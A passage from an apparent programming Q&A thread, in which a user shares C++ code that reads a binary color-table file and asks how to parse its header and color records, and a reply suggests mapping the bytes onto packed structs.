fseek(file, 0, 2);
lEndPos = ftell(file);
fseek(file, lCurPos, 0);
return lEndPos;
}
int main()
{
const char *filePath = "D:\\Applications\\ColorTableApplication\\file.clt";
BYTE *fileBuf; // Pointer to our buffered data
FILE *file = NULL; // File pointer
if ((file = fopen(filePath, "rb")) == NULL)
printf_s("Could not open specified file\n");
else {
printf_s("File opened successfully\n");
printf_s("Path: %s\n", filePath);
printf_s("Size: %d bytes\n\n", getFileSize(file));
}
long fileSize = getFileSize(file);
fileBuf = new BYTE[fileSize];
fread(fileBuf, fileSize, 1, file);
for (int i = 0; i < 100; i++){
printf("%X ", fileBuf[i]);
}
_getch();
delete[]fileBuf;
fclose(file); // Almost forgot this
return 0;
}
(I provided that much code because I want to be clear, to help you get the idea about what I am trying to do)
First of all, I need to get the first 14 bytes and write them in the console as text, and then, in a for I need to write something like this for each color:
black col_id = 1; R = 00; G = 00; B = 00;
red col_id = 2; R = FF; G = 00; B = 00;
etc...
How can I read and translate these bytes?
It is correct as you have it to write out the 14 bytes.
a technique is to create a struct with the layout of your records, then cast e.g. (C-style)
typedef struct
{
char name[10];
long col_id;
unsigned char R;
unsigned char G;
unsigned char B;
} rec;
rec* Record = (rec*)(fileBuf + StartOffsetOfRecords);
now you can get the contents of the first record
Record->name, ...
getting next record is just a matter of moving Record forward
++Record;
You could also have a struct for the header to make it more convenient to pickout the number of records, it is good to use stdint.h in order to get well defined sizes. also to pack structures on byte boundary to make sure no padding is done by the compiler i.e. #pragma pack(1) at the top of your source.
typedef struct
{
char signature[14];
uint32_t tableaddress;
uint32_t records;
} header;
typedef struct
{
char name[10];
uint32_t col_id;
unsigned char R;
unsigned char B;
unsigned char G;
} rec;
so instead when you read you could do like this
header Header;
rec* Record;
fread(&Header,sizeof(header),1,file);
fread(fileBuf,1,fileSize,file);
Record = (rec*)(fileBuf); // first record can be accessed through Record